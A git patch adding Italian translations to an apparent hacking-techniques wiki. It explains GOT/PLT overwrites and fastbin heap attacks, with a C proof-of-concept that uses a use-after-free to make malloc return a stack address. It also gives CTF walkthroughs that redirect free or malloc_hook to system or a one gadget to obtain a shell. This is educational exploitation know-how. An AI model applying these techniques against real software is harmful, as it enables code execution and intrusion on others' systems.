From 4b858526a10305008a0b2905d3478460569eeac4 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 12 Jun 2024 11:29:38 +0000 Subject: [PATCH] Translated ['binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt. --- SUMMARY.md | 2 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 36 ++-- binary-exploitation/heap/fast-bin-attack.md | 161 ++++++++++++++++++ 3 files changed, 185 insertions(+), 14 deletions(-) create mode 100644 binary-exploitation/heap/fast-bin-attack.md diff --git a/SUMMARY.md b/SUMMARY.md index 97054dc6f..c76bee72e 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -731,6 +731,7 @@ * [Use After Free](binary-exploitation/heap/use-after-free/README.md) * [First Fit](binary-exploitation/heap/use-after-free/first-fit.md) * [Double Free](binary-exploitation/heap/double-free.md) + * [Heap Overflow](binary-exploitation/heap/heap-overflow.md) * [Unlink Attack](binary-exploitation/heap/unlink-attack.md) * [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md) * [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md) @@ -743,7 +744,6 @@ * [House of Orange](binary-exploitation/heap/house-of-orange.md) * [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md) * [House of Roman](binary-exploitation/heap/house-of-roman.md) - * [Heap Overflow](binary-exploitation/heap/heap-overflow.md) * [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md) * [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md) * [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md) diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index e251aeada..8dc2e534d 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -10,7 +10,7 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -18,15 +18,15 @@ Altri modi per supportare HackTricks: ### **GOT: Global Offset Table** -La **Global Offset Table (GOT)** è un meccanismo utilizzato nei binari collegati dinamicamente per gestire gli **indirizzi delle funzioni esterne**. Poiché questi **indirizzi non sono noti fino all'esecuzione** (a causa del collegamento dinamico), la GOT fornisce un modo per **aggiornare dinamicamente gli indirizzi di questi simboli esterni** una volta che sono risolti. +La **Tabella degli Offset Globali (GOT)** è un meccanismo utilizzato nei binari collegati dinamicamente per gestire gli **indirizzi delle funzioni esterne**. Poiché questi **indirizzi non sono noti fino all'esecuzione** (a causa del collegamento dinamico), la GOT fornisce un modo per **aggiornare dinamicamente gli indirizzi di questi simboli esterni** una volta che sono risolti. Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binario potrebbe chiamare. Quando una **funzione viene chiamata per la prima volta, il suo indirizzo effettivo viene risolto dal collegamento dinamico e memorizzato nella GOT**. Chiamate successive alla stessa funzione utilizzano l'indirizzo memorizzato nella GOT, evitando così il sovraccarico di risolvere nuovamente l'indirizzo. ### **PLT: Procedure Linkage Table** -La **Procedure Linkage Table (PLT)** lavora strettamente con la GOT e funge da trampolino per gestire le chiamate alle funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile di invocare il collegamento dinamico per risolvere l'indirizzo della funzione se non è stato ancora risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**. +La **Tabella di Collegamento delle Procedure (PLT)** lavora strettamente con la GOT e funge da trampolino per gestire le chiamate alle funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile di invocare il collegamento dinamico per risolvere l'indirizzo della funzione se non è stato ancora risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**. -**Pertanto,** le voci della GOT sono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. **Le voci della PLT sono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il collegamento dinamico. +**Pertanto,** le voci della GOT sono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. Le voci della PLT sono utilizzate per facilitare la risoluzione iniziale di questi indirizzi tramite il collegamento dinamico. ## Esecuzione @@ -38,7 +38,7 @@ Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`** Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xDIR_GOT` -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) Utilizzando GEF puoi **avviare** una **sessione di debug** ed eseguire **`got`** per vedere la tabella got: @@ -46,11 +46,11 @@ Utilizzando GEF puoi **avviare** una **sessione di debug** ed eseguire **`got`** ### GOT2Exec -In un binario la GOT ha gli **indirizzi delle funzioni o** della sezione **PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce della GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** della PLT della funzione **`system`** ad esempio. +In un binario la GOT ha gli **indirizzi delle funzioni o** della sezione **PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce della GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** del PLT della funzione **`system`** ad esempio. -Idealmente, **sovrascriverai** la **GOT** di una **funzione** che **verrà chiamata con parametri controllati da te** (così potrai controllare i parametri inviati alla funzione di sistema). +Idealmente, **sovrascriverai** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (così potrai controllare i parametri inviati alla funzione di sistema). -Se **`system`** **non viene utilizzata** dallo script, la funzione di sistema **non** avrà una voce nella PLT. In questo scenario, dovrai **prima ottenere l'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo. +Se **`system`** **non viene utilizzata** dallo script, la funzione di sistema **non** avrà una voce nella PLT. In questo scenario, dovrai **prima ottenere l'indirizzo** della funzione `system` e quindi sovrascrivere la GOT per puntare a questo indirizzo. Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`** @@ -62,20 +62,30 @@ Le funzioni comuni della libc chiameranno **altre funzioni interne** le cui GOT Trova [**ulteriori informazioni su questa tecnica qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +## **Free2system** + +Nei CTF di sfruttamento dell'heap è comune poter controllare il contenuto dei chunk e a un certo punto sovrascrivere la tabella GOT. Un semplice trucco per ottenere RCE se non sono disponibili gadget è sovrascrivere l'indirizzo GOT di `free` per puntare a `system` e scrivere all'interno di un chunk `"/bin/sh"`. In questo modo quando questo chunk viene liberato, eseguirà `system("/bin/sh")`. + ## **One Gadget** {% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %} [one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md) {% endcontent-ref %} +## **Abuso della GOT dall'Heap** + +Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, quindi ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\ +Quindi, puntando `free` a `system` e liberando un chunk in cui è stato scritto `/bin/sh\x00` si eseguirà una shell. + +È possibile trovare un [**esempio qui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.** + ## **Protezioni** -La protezione **Full RELRO** è pensata per proteggere da questo tipo di tecnica risolvendo tutti gli indirizzi delle funzioni quando il binario viene avviato e rendendo la **tabella GOT di sola lettura** dopo: +La protezione **Full RELRO** è pensata per proteggere da questo tipo di tecnica risolvendo tutti gli indirizzi delle funzioni quando il binario viene avviato e rendendo la **tabella GOT di sola lettura** dopo di esso: {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} [relro.md](../common-binary-protections-and-bypasses/relro.md) {% endcontent-ref %} - ## Riferimenti * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) @@ -83,14 +93,14 @@ La protezione **Full RELRO** è pensata per proteggere da questo tipo di tecnica
-Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/binary-exploitation/heap/fast-bin-attack.md b/binary-exploitation/heap/fast-bin-attack.md new file mode 100644 index 000000000..ce7a844de --- /dev/null +++ b/binary-exploitation/heap/fast-bin-attack.md @@ -0,0 +1,161 @@ +# Attacco Fast Bin + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Poiché il fast bin è a singolo collegamento, ci sono molte meno protezioni rispetto ad altri bin e semplicemente **modificare un indirizzo in un chunk fast bin liberato** è sufficiente per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**. + +In sintesi: + +{% code overflow="wrap" %} +```c +ptr0 = malloc(0x20); +ptr1 = malloc(0x20); + +// Put them in fast bin (suppose tcache is full) +free(ptr0) +free(ptr1) + +// Use-after-free +// Modify the address where the free chunk of ptr1 is pointing +*ptr1 = (unsigned long)((char *)&
); + +ptr2 = malloc(0x20); // This will get ptr1 +ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it +``` +{% endcode %} + +Puoi trovare un esempio completo in un codice molto ben spiegato su [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html): +```c +#include +#include +#include + +int main(void) +{ +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); + +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; + +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); + +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); + + +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); + +int stackVar = 0x55; + +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); + +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); + +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; + +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); + +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); + +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); + +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); + +free(ptr0); +free(ptr1); +free(ptr2); + +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); + +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); + + +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); + +*ptr1 = (unsigned long)((char *)&stackVar); + +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); + + +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); + +unsigned long *ptr3, *ptr4, *ptr5; + +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); + +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); + +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +} + +``` +## Esempi + +* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** +* È possibile allocare chunk, liberarli, leggerne i contenuti e riempirli (con una vulnerabilità di overflow). +* **Consolidare il chunk per l'infoleak**: La tecnica consiste nell'abusare dell'overflow per creare una dimensione previa fittizia in modo che un chunk precedente venga inserito in uno più grande, quindi quando si alloca il più grande contenente un altro chunk, è possibile stamparne i dati e ottenere un indirizzo a libc (main\_arena+88). +* **Sovrascrivere l'hook di malloc**: Per fare ciò, e sfruttando la situazione di sovrapposizione precedente, era possibile avere 2 chunk che puntavano alla stessa memoria. Di conseguenza, liberandoli entrambi (liberando un altro chunk in mezzo per evitare protezioni) era possibile avere lo stesso chunk nel fast bin 2 volte. Poi, era possibile allocarlo di nuovo, sovrascrivere l'indirizzo al prossimo chunk in modo che puntasse un po' prima di malloc\_hook (in modo che puntasse a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e quindi allocare un altro chunk che riceverà un indirizzo agli hook di malloc.\ +Infine è stato scritto un **one gadget** lì. +* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** +* C'è un overflow di heap e user after free e double free perché quando un chunk viene liberato è possibile riutilizzare e liberare nuovamente i puntatori. +* **Leak di informazioni su Libc**: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo. +* **Attacco al fast bin**: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare un po' prima di questo array di puntatori. Quindi, allocare un paio di chunk con la stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Ora possiamo sovrascrivere questi puntatori di allocazione per puntare all'indirizzo got di `free` per puntare a system e quindi scrivere il chunk 1 `"/bin/sh"` per poi `free(chunk1)` che eseguirà `system("/bin/sh")`. + +Puoi trovare un attacco Fast Bin abusato attraverso un attacco unsorted bin negli esempi da: + +{% content-ref url="unsorted-bin-attack.md" %} +[unsorted-bin-attack.md](unsorted-bin-attack.md) +{% endcontent-ref %} + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +